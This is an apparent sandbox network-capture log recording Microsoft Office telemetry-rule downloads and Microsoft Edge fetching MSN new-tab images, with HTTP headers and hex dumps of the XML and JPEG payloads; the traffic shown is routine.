2024-11-16 22:36:40 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:41 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a94ee65e-c01e-007a-7daf-36b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223641Z-16547b76f7fk9g8vhC1DFW8254000000044000000000hteh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:41 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	49928	23.47.50.146	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:41 UTC	634	OUT	GET /tenant/amp/entityid/BB1msIAw.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:41 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 09 Nov 2024 06:27:19 GMT X-Datacenter: eastus X-ActivityId: bfe9db43-0a36-469e-af46-2af8fd5ff268 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msIAw X-Source-Length: 100376 Content-Length: 100376 Cache-Control: public, max-age=157941 Expires: Mon, 18 Nov 2024 18:29:02 GMT Date: Sat, 16 Nov 2024 22:36:41 GMT Connection: close
2024-11-16 22:36:41 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-16 22:36:41 UTC	16384	IN	Data Raw: 65 ae df 75 24 3b 65 96 c7 0b dd 49 0e 8e a8 74 75 a6 4f 9b 2b 95 1a 53 35 28 0a 3a 55 20 95 d2 98 ca 2a 39 4e 94 a2 a4 0b 20 bf a2 cf 78 c6 e0 db e3 92 d5 74 91 d1 43 78 17 3c ba 2a 4c e0 9a d4 c4 70 0b 39 ed be 5d 47 2d c2 dd 75 39 c4 c5 a6 08 c7 90 50 1e c1 8d ff 00 04 78 b3 81 a6 b9 6d f5 c8 c8 70 10 66 e6 2d 39 73 eb 16 85 10 01 3e 69 02 f8 09 be 43 11 9a d4 2d b7 6e 4a 39 69 3b ed cb b3 aa 3a 61 22 cc 80 d1 79 db 39 bd f2 85 5a 6e b5 61 ce 1a 74 e0 09 ca 63 33 27 a5 94 3d 2e b9 1e 31 cf 24 6b 3a a3 bb db 64 68 da 07 55 41 30 89 c2 d7 ec 54 31 45 4c ec 8c 8b b4 7e e9 db 28 84 a8 47 7f 7a e7 73 81 03 2f 89 e6 aa ce 84 f9 0a 6b 75 10 00 24 9c 00 19 a3 68 25 c0 5e e7 2b f6 73 54 d7 39 8e 05 a4 b4 83 63 84 74 57 df 99 fc d2 29 7b e0 33 55 a0 5c 02 48 b5 Data Ascii: eu$;eItuO+S5(:U 9N xtCx<Lp9]G-u9Pxmpf-9s>iC-nJ9i;:a"y9Znatc3'=.1$k:dhUA0T1EL~(Gzs/ku$h%^+sT9ctW){3U\H
2024-11-16 22:36:41 UTC	2977	IN	Data Raw: f8 fc 11 44 2b 4a cc 26 13 8f b4 09 0d 38 58 0b 61 84 08 f1 85 71 61 1f 68 45 61 88 4c c2 44 09 b4 ae b4 44 5e 71 f7 42 6e 9c d1 69 f1 4a c4 24 01 07 c2 2d 3d f3 65 50 a4 45 95 c2 76 32 3c 2e 8c 53 c8 54 2c 70 07 b5 3b 28 44 5b bd 11 16 8b 62 7a fd e1 36 11 b7 31 02 f9 9c ba 27 66 b2 32 e8 52 34 ab 10 2f 13 b0 cb c6 e0 ad 66 23 42 3d 30 01 b5 e4 44 df b3 2e 48 e1 54 24 31 71 8a a8 4d 84 71 3f 58 ad 63 11 08 a1 48 d2 8a 14 b6 43 62 21 2c 85 2a 15 69 4a c8 21 69 5e 1f e6 b5 8d 5a a3 87 c1 b4 e0 bb 1f 33 88 c3 a3 47 7a f4 fc 77 cc 19 c2 79 19 0f ab b7 ed 67 37 73 d8 76 af 01 ad d5 5e e7 1f 33 9c 49 71 cc 92 81 39 da a4 71 f7 66 bf 4a 7d 47 09 63 60 36 52 c9 7f ee 70 03 af d9 3f cf 87 bd 41 73 75 3b cc 40 e9 75 ca b9 b5 b1 59 c4 49 f2 0e bb fd a5 26 a5 58 b3 Data Ascii: D+J&8XaqahEaLDD^qBniJ$-=ePEv2<.ST,p;(D[bz61'f2R4/f#B=0D.HT$1qMq?XcHCb!,*iJ!i^Z3Gzwyg7sv^3Iq9qfJ}Gc`6Rp?Asu;@uYI&X
2024-11-16 22:36:41 UTC	16384	IN	Data Raw: 66 b3 5c a4 ea 59 21 c1 3c 54 6e eb 91 83 a2 54 a0 48 35 00 55 ea 35 5d 8c 93 0a 2b 9a a5 35 ed 2a 9c 5a 8b 19 ae 23 4c c7 7b 52 08 53 5e e6 ee a2 97 37 75 d8 a4 74 a6 22 51 07 21 24 6e a8 10 a6 4d 09 a2 54 94 2e 94 40 a2 24 2e 5d e0 68 82 5a 50 68 52 65 10 21 36 c5 44 22 c4 b3 4e 72 5a 32 81 0e c9 a3 3f 42 63 69 9d 94 f0 a4 84 29 48 54 67 b6 91 52 45 27 29 c1 3c 15 c5 29 0a 8c e1 44 a6 7a 05 69 82 99 28 0d b3 51 9a 28 94 5e 99 0b 45 72 15 8c cd f4 c9 42 69 2d 34 97 15 69 8d 23 3f d3 41 e9 85 28 94 3a a4 00 70 0b a1 3e 65 91 7d 30 90 5a 14 c2 6c a3 23 26 58 82 d0 ac 35 a9 da 51 86 aa 72 cb 51 14 00 5c 48 4e 80 10 92 dd 90 31 67 c4 46 5b de 02 c8 7d 45 be fd 27 25 8d 52 36 5d 9d b6 b8 0c c7 75 45 18 d4 2a 79 85 1c b6 57 a2 98 88 be a1 5d ab aa 7e 94 5a 15 Data Ascii: f\Y!<TnTH5U5]+5Z#L{RS^7ut"Q!$nMT.@$.]hZPhRe!6D"NrZ2?Bci)HTgRE')<)Dzi(Q(^ErBi-4i#?A(:p>e}0Zl#&X5QrQ\HN1gF[}E'%R6]uEyW]~Z
2024-11-16 22:36:41 UTC	16384	IN	Data Raw: ba ac de aa ff 00 fa 25 e7 fd 1e fd df f9 05 1c a8 d5 3d 60 7d d4 9a 7f 3c e0 9e d9 7e ba 6e fd 25 a4 f8 c8 b2 f9 a7 ab 4b 67 76 7e 68 bd 4a 5f d5 d8 b5 7f c7 c5 10 e2 8f a6 1f 9d 7c bc 7e f7 7f fc b7 2a fe f1 f2 ff 00 fd d2 3f d0 ff 00 b2 f9 9e ba 5b 9e c2 87 55 2d ff 00 f4 95 b0 ff 00 c6 5e a8 8c 28 fa 68 f9 bf 02 7f ef 47 56 bf ec 99 fd d3 80 ff 00 df 6f fb 5f ff 00 c2 be 5f 14 9d 9f fe 93 f6 40 45 2d ff 00 f4 bb ec 96 0b dc fc 0d 81 1f 5a 1c 77 06 6e 38 8a 5f ee fb a3 3c 5f 0b 13 eb d2 23 fe 43 f1 5f 1f d3 44 fe ee e7 7d 90 fa 74 7f 59 ff 00 d5 f6 5b cb eb e8 2c 28 fb 0d 2e 2b 86 ad 3a 2a 30 c6 39 1e f8 54 78 ae 15 b8 d5 67 6f d9 7c 77 4d 3c aa f7 3b ec af d3 19 71 14 fc 75 0f fe 95 4b b5 cf e6 6a 8f 33 eb e3 89 e1 9d 85 46 76 a6 1a 9c 38 c6 a3 3f dc Data Ascii: %=`}<~n%Kgv~hJ_\|~?[U-^(hGVo__@E-Zwn8_<_#C_D}tY[,(.+:09Txgo\|wM<;quKj3Fv8?
2024-11-16 22:36:41 UTC	7952	IN	Data Raw: 3e 49 c0 86 8c f2 54 28 b8 c4 b8 5b 0b e0 9a da 4d 81 7f 37 72 0b 71 26 83 a5 c4 16 1d 3e d4 1e d5 b1 ea 6a 20 dc 78 c4 78 c2 c5 6d 13 91 08 34 54 6c c3 a6 6d 8a e7 94 23 27 93 49 84 4e 8f 45 57 d2 70 01 c6 fc af de 97 a2 30 2d 2d e6 60 ac 2a 1e a3 5d 72 34 e7 9a d3 d6 c0 75 5e 3f 48 3e f5 ce fb 6e 39 26 d8 4c 49 ee 29 e1 d9 10 0e fb a5 16 bd e2 60 d8 5d 4d 6d 4a 04 c6 13 97 d5 97 55 a8 1a 20 b8 c1 04 2c 9b b4 ab d5 12 26 9b aa d2 7b 0b 09 24 49 8f bf 25 ea 1f c6 1a ba 7d 4e 1d da 80 89 1e 66 91 bc 8e f9 50 78 6a dc 2e 83 4f cd 48 c0 25 ce cc ef 2d db 6c 96 9d 2a 25 ae 69 d5 e4 75 8b c7 98 72 98 ef 51 3a d5 a5 6a eb 2c de d4 74 f6 f1 2c af e1 6f af 81 90 fa 94 88 98 8e 59 f6 ac ff 00 6f d9 2e e8 5a b6 78 9a 34 69 bd da 0e 1d 2f 9d a5 2a 99 d5 6d 50 3b 17 Data Ascii: >IT([M7rq&>j xxm4Tlm#'INEWp0--`]r4u^?H>n9&LI)`]MmJU ,&{$I%}NfPxj.OH%-l%iurQ:j,t,oYo.Zx4i/*mP;
2024-11-16 22:36:41 UTC	16384	IN	Data Raw: ae e5 7c 83 4f 36 34 30 69 99 ba d9 34 e1 a0 61 0d 1d 0c 5c 95 98 e7 b7 d3 0d 02 4c df f2 53 c5 49 0e ce 6d 3f a4 1f ba e5 9e 27 9f 30 b1 a5 91 3f 87 04 32 ee f6 8c f8 2a 73 88 a7 a8 e2 f7 24 53 71 f4 80 1b 1c 79 95 4f 71 24 36 d6 16 5c f8 6e 4f 4d 7c 11 d5 74 b6 1a dc 29 bf 45 ee ff 00 ed 05 e0 78 6b 15 ee bf ed 05 c7 dd d4 e9 ed bf 84 86 4d d6 45 73 65 3d c5 67 56 c1 4a 42 9e 86 0d 42 b4 f8 47 41 0b 1e a1 bd 94 ca 0e f3 2e c9 46 e2 73 41 d4 8f ae 70 4f 5e b4 dd ab e7 7c 0d 4c 17 bf 61 96 af 12 aa 4c f6 5e 69 33 ce f1 2d c5 78 3e 21 b0 57 d0 f8 a0 bc 37 12 2e ba 3b 60 fb 9a 1e 7e 74 a9 ec 70 31 0b 31 ca 4b 0c 05 d7 2d 0e 14 f3 36 03 93 a6 c5 67 35 f7 52 9a f9 b2 1d 64 17 15 99 15 9b 24 af 2f 55 97 9d 51 7e dd d7 b7 7e 33 cd 79 ee 3e a8 30 d0 c6 b5 a3 00 Data Ascii: \|O640i4a\LSIm?'0?2*s$SqyOq$6\nOM\|t)ExkMEse=gVJBBGA.FsApO^\|LaL^i3-x>!W7.;`~tp11K-6g5Rd$/UQ~~3y>0
2024-11-16 22:36:41 UTC	8048	IN	Data Raw: 96 07 b1 09 7d 5c 09 31 b2 e8 4a 57 93 40 ed 11 b5 37 eb 04 c6 d6 d3 92 8c 5b 89 46 ca 65 c8 f4 b7 8a c9 27 8a 71 10 a0 ea c7 9a d5 6f 0a 51 ff 00 18 24 b0 ad 08 7d c4 62 26 06 92 b7 7f 8c 39 a9 8c a2 d6 e4 16 c4 81 be e7 03 21 9c 39 d9 6b 33 86 27 30 de df b8 53 24 37 10 7c 02 92 1a 5d 12 01 07 af c5 4e 67 3b 93 64 aa 5c 3b 00 c2 fc ee a4 8e 1b 70 23 94 fd d4 56 b0 53 3e 57 78 6a f7 15 38 39 ff 00 d5 dc 50 c9 a2 75 3a 2c 61 fc 53 6a 54 00 40 06 16 77 a8 70 3d e3 f3 51 9f 51 f9 69 77 20 52 c3 9e f3 25 ed 13 fd 49 c3 4b b9 14 6d 2c 9b b0 82 b1 f5 82 7c ec 2c 3b ad 2a 63 9c a4 67 9f bf 6c da 63 69 9f 64 90 7a d9 4b 92 30 2b 24 3e 02 66 af 04 3a 11 ad eb 98 b9 ed 50 cf 9b de a2 92 14 52 f1 bd d3 a2 ba 93 0c 8c 14 77 1a 87 00 0f 22 96 1c 7f a8 f2 4c 68 d5 99 Data Ascii: }\1JW@7[Fe'qoQ$}b&9!9k3'0S$7\|]Ng;d\;p#VS>Wxj89Pu:,aSjT@wp=QQiw R%IKm,\|,;*cglcidzK0+$>f:PRw"Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	49930	23.47.50.146	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:41 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:41 UTC	520	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO4 Last-Modified: Mon, 11 Nov 2024 03:08:18 GMT X-Source-Length: 79668 X-Datacenter: northeu X-ActivityId: 3b3e7ffe-ca54-468c-b20d-cadbdf01d790 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 79668 Cache-Control: public, max-age=318579 Expires: Wed, 20 Nov 2024 15:06:20 GMT Date: Sat, 16 Nov 2024 22:36:41 GMT Connection: close
2024-11-16 22:36:41 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-16 22:36:41 UTC	16384	IN	Data Raw: 11 79 75 9f 13 51 d2 12 eb 7e 23 c4 a5 d2 c6 3c ca 88 5d b5 64 eb 4e de b3 e3 23 67 48 4a 39 f1 8c f9 d6 b0 67 1f c5 c4 a8 d7 a6 94 ed eb 3e 23 c1 2f 48 76 f1 5b a4 50 c9 48 56 76 f5 6a f7 26 9c dd 48 47 30 a8 d2 87 29 a1 69 05 f2 92 50 f8 2a 9a 46 94 85 32 b0 12 09 0b 13 25 de a4 db 95 94 94 2c 4d 0b 3a d4 8b 25 34 84 94 f2 50 16 a0 8a 99 09 32 10 93 b5 24 ac 42 28 36 25 6f 34 a5 2e 43 85 b1 b0 ad d3 36 6a c7 6a 69 49 bd 6d 28 27 94 e0 4e 09 06 a4 60 05 8b 2d 43 43 53 c0 d8 96 ae c5 95 4a c3 4b 40 37 d0 b4 90 86 41 b1 04 92 16 a2 19 b1 9c ed a5 25 68 41 a5 21 25 6e 99 b1 eb 25 2e 94 15 89 a1 63 4e d0 ac ea 42 5b 1a d3 48 5a 2c 56 12 6b 4f 20 58 b2 8c 03 46 df 3a 96 f7 6c 59 58 25 ac 82 63 57 e1 4b dd f8 56 13 b1 29 29 4b 2d b1 6d 16 24 34 a1 94 d0 1a 5b Data Ascii: yuQ~#<]dN#gHJ9g>#/Hv[PHVvj&HG0)iP*F2%,M:%4P2$B(6%o4.C6jjiIm('N`-CCSJK@7A%hA!%n%.cNB[HZ,VkO XF:lYX%cWKV))K-m$4[
2024-11-16 22:36:41 UTC	2628	IN	Data Raw: 38 50 95 dd 14 60 4e f1 e1 2a 56 96 ee f9 e3 ec 57 4e 4d ce e7 3e a1 67 56 6d 6c 73 4f 4d 06 e7 0d d3 e8 82 72 c0 18 f0 0b ae 73 dd 48 35 75 c0 f0 43 d2 30 de 06 ef d4 2d c6 59 71 14 e4 55 da 7c ee 5a 68 f1 5d 2f dd 9c 08 d9 47 b5 02 a3 7e 21 bd 6e c5 39 d3 c3 5f b5 6c ec 3c 54 ad 14 d9 7f 9a 52 e8 de da 63 95 1e ab 57 01 0c bf 61 de 88 d7 7c 44 9f 3e 0a 96 ba b5 20 1e 29 83 a9 c7 9f a4 ad 6c 03 56 1f 03 b8 a1 55 6b bd c8 de 68 e4 88 f2 08 12 09 dc 7c 56 80 d8 a5 8e 3c 07 6a cf 93 48 c7 2c e0 87 55 ed bc 15 d1 ae 00 ff 00 4c 0d e0 f2 13 ea 91 f9 94 7c 91 a8 02 8d 52 a8 26 e7 1b 8d 3e 78 29 8d cc ad 73 4c 59 e3 17 a1 0c b6 b8 7c 8e 3a e6 f4 70 c2 df 94 3f 55 31 ce 61 66 68 8b 24 0a 19 bc d1 da 81 59 d6 36 75 a2 10 e8 98 1b 69 02 ea 71 94 30 1f 64 7e 6e 77 Data Ascii: 8P`N*VWNM>gVmlsOMrsH5uC0-YqU\|Zh]/G~!n9_l<TRcWa\|D> )lVUkh\|V<jH,UL\|R&>x)sLY\|:p?U1afh$Y6uiq0d~nw
2024-11-16 22:36:41 UTC	16384	IN	Data Raw: 14 b6 9d 78 6b 0a 6d 79 be 63 92 66 e8 ef 8a b8 4c 8b ac ef 2d c4 cc 75 2e 68 7b c5 0d cc 78 fe 93 54 f0 a0 23 1c f7 c0 0f ef 80 7d f0 d5 3e 40 fd a3 8d 04 52 40 31 b9 b0 a2 37 28 83 de aa f3 6c 56 06 9c 40 a6 61 6f 54 4f 9c 7e 64 07 f5 19 4e 20 1c b0 e6 ec 24 1d cd 74 84 d9 b9 99 6c 0d f9 c5 92 c0 d0 63 02 4c d1 16 42 98 fe a5 9d e8 64 1a b1 2c 01 86 00 b6 28 d4 b8 af ea 72 9d 27 46 f7 dd f3 38 91 69 b8 36 e4 47 da fd 33 15 bf cd 99 f8 17 33 aa 60 8e eb 5b 4d 15 5a 26 22 9e 3b d0 87 5a 44 d5 91 38 4d 1c 36 eb 44 3d 4e 5d 1d cc 99 9f 83 b6 9a 14 79 cb cc 35 b3 0b 05 81 ad c7 58 85 da 31 8a db 8c fd ec 1b a6 ea 1c 33 66 1a 6f bc 4c 0c 62 90 87 d4 f5 0d ce 75 6a 66 6e 34 d1 ea b1 b9 8e 65 0d a9 9a dc 2b 30 4f 1b f9 a4 74 be 90 c0 0c cd 32 e9 fe d8 bd 74 a8 Data Ascii: xkmycfL-u.h{xT#}>@R@17(lV@aoTO~dN $tlcLBd,(r'F8i6G33`[MZ&";ZD8M6D=N]y5X13foLbujfn4e+0Ot2t
2024-11-16 22:36:41 UTC	16384	IN	Data Raw: a7 bc d1 ac 5d e7 1a 10 b4 2e 00 c3 f8 b1 d0 38 02 16 b5 c4 b3 52 88 1c 2c 8d 47 b1 14 44 52 79 7e 88 9a 27 b7 16 39 06 a3 c5 ed e1 1d 8d 94 5c 06 9c 96 3b fc 3f e1 f4 41 3d 18 37 56 fc ae 07 d6 94 52 48 9e e8 ed e4 52 1c c2 3d de 7f f7 26 27 28 e2 b6 22 9e 85 c3 17 7e 66 38 73 12 a3 1e 95 e2 89 61 fc d1 fc 50 ba 63 3b 61 f3 bd 37 dc 3f f1 79 dc 71 5b d7 9b 35 0e 31 e9 b3 7e 02 75 41 f4 25 04 e5 bc 5e c7 8f ca 57 a0 39 d6 b0 1d cd ff 00 2a ba 66 fc 3c fc 16 b5 cf 41 a5 e6 8c 62 0f 02 b2 5a bd 4e 95 94 51 98 27 f1 4f aa 59 cb 3f e2 6f 63 4f 68 5a e6 7f 6c 8d 3b de 5a 5a 71 56 85 e9 48 64 7c cc de c8 f4 94 ba 31 66 51 e2 b5 cc 8e 8a 9e 6e 05 ab 63 6f 35 e8 6a 37 e0 67 2f 15 87 2d a2 fc ae 5f f6 ab 99 b9 53 81 4e 05 5e f5 ab b7 19 58 e5 8e 5e 0b 2a 64 7f 84 Data Ascii: ].8R,GDRy~'9\;?A=7VRHR=&'("~f8saPc;a7?yq[51~uA%^W9f<AbZNQ'OY?ocOhZl;ZZqVHd\|1fQnco5j7g/-_SN^X^d
2024-11-16 22:36:41 UTC	7952	IN	Data Raw: a5 6e 3d da 6c 91 c2 25 09 d9 79 6c 18 9d 43 9d 25 75 d5 0c 53 9f e7 6a 28 11 7d 1b c7 9e 49 8e c2 07 af 34 13 58 fc 5a f6 2d 04 9d 28 17 47 22 84 73 6f c5 47 f3 b5 2d 33 44 aa a0 a4 9c db 28 5a 1d b4 fa 28 db d5 de 9a 80 9a 73 8d d4 6e 58 33 0e 34 eb 50 62 94 56 b6 2f 46 98 36 9e d7 33 e1 c5 74 c6 60 69 a0 9d 53 0b 8b a4 8c 28 d8 88 0e 33 05 72 9c 6d a8 97 65 99 ee 9a 44 72 5d 5d 39 7b 43 5c 43 c7 c2 f1 58 7f 70 25 79 73 9a e8 31 07 6e 29 83 dc 44 49 1b 3c d2 b8 cf 6e f7 37 19 fc 5e 85 dd 3f 49 99 35 b2 03 4c fc d9 75 f2 e8 d4 6b 33 fb 57 3d ff 00 49 cb 7f fa 3d 40 07 e1 cd 6c 53 60 70 bf f9 42 86 c7 3d 86 6b 11 aa 79 62 ba 0d ea 60 0f 94 d2 2f bf c9 c6 8b 96 6b b9 8f 96 53 f7 fd ed 7d 99 f3 87 37 33 e9 3d 6e 5d 23 24 e6 0f 8b 2c 87 8e 44 9e 4b 96 ec b7 Data Ascii: n=l%ylC%uSj(}I4XZ-(G"soG-3D(Z(snX34PbV/F63t`iS(3rmeDr]]9{C\CXp%ys1n)DI<n7^?I5Luk3W=I=@lS`pB=kyb`/kS}73=n]#$,DK
2024-11-16 22:36:41 UTC	4072	IN	Data Raw: 34 6d da 6e 2a d6 18 51 a9 73 e6 49 a8 44 39 14 91 33 18 e1 72 23 72 da 36 eb 46 24 61 4c 72 56 48 f3 75 17 a2 72 ca 55 36 a0 3e ed 3a a1 16 a9 d8 29 40 05 d0 7d 52 56 71 9a 0f 05 8f 89 4b 0d 16 89 34 cc ca de ec 52 54 5b 4d 29 60 03 86 f4 51 48 ae 22 eb f1 2b 0e 65 88 40 98 a3 b2 85 90 e2 6e 27 f4 40 35 78 58 73 06 db d2 c4 1a 6e 4a e7 65 87 50 68 8c 29 bd 28 50 eb d6 97 0b 7c 14 71 9e c1 24 49 e1 b7 c1 69 cc 63 e2 c9 be 91 49 b7 c1 55 3d 25 0a 4b a4 52 ab a8 76 06 0f 1d aa 13 b3 18 6d 10 78 a5 6c 18 20 cf ea b7 a5 26 57 68 f3 c5 08 e6 34 63 ea 80 e6 c9 38 1c 7c 84 1d 11 a2 d9 a3 7a d4 63 1d 42 60 cc 20 5e 0f 6a cd 25 33 7a 86 72 a0 df 22 8b a7 8a 23 40 68 3c b8 ad 54 14 80 e8 a5 69 22 8f 14 b7 85 bd e7 51 1e d5 94 e7 2c 5a aa f6 b9 ac ab 04 a5 44 52 6d Data Ascii: 4mn*QsID93r#r6F$aLrVHurU6>:)@}RVqK4RT[M)`QH"+e@n'@5xXsnJePh)(P\|q$IicIU=%KRvmxl &Wh4c8\|zcB` ^j%3zr"#@h<Ti"Q,ZDRm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	49929	23.47.50.146	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:41 UTC	634	OUT	GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:41 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 23 Oct 2024 15:34:18 GMT X-Datacenter: eastap X-ActivityId: 451a31b5-6ea3-4c00-9f6a-916587318427 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msB1O X-Source-Length: 73239 Content-Length: 73239 Cache-Control: public, max-age=277128 Expires: Wed, 20 Nov 2024 03:35:29 GMT Date: Sat, 16 Nov 2024 22:36:41 GMT Connection: close
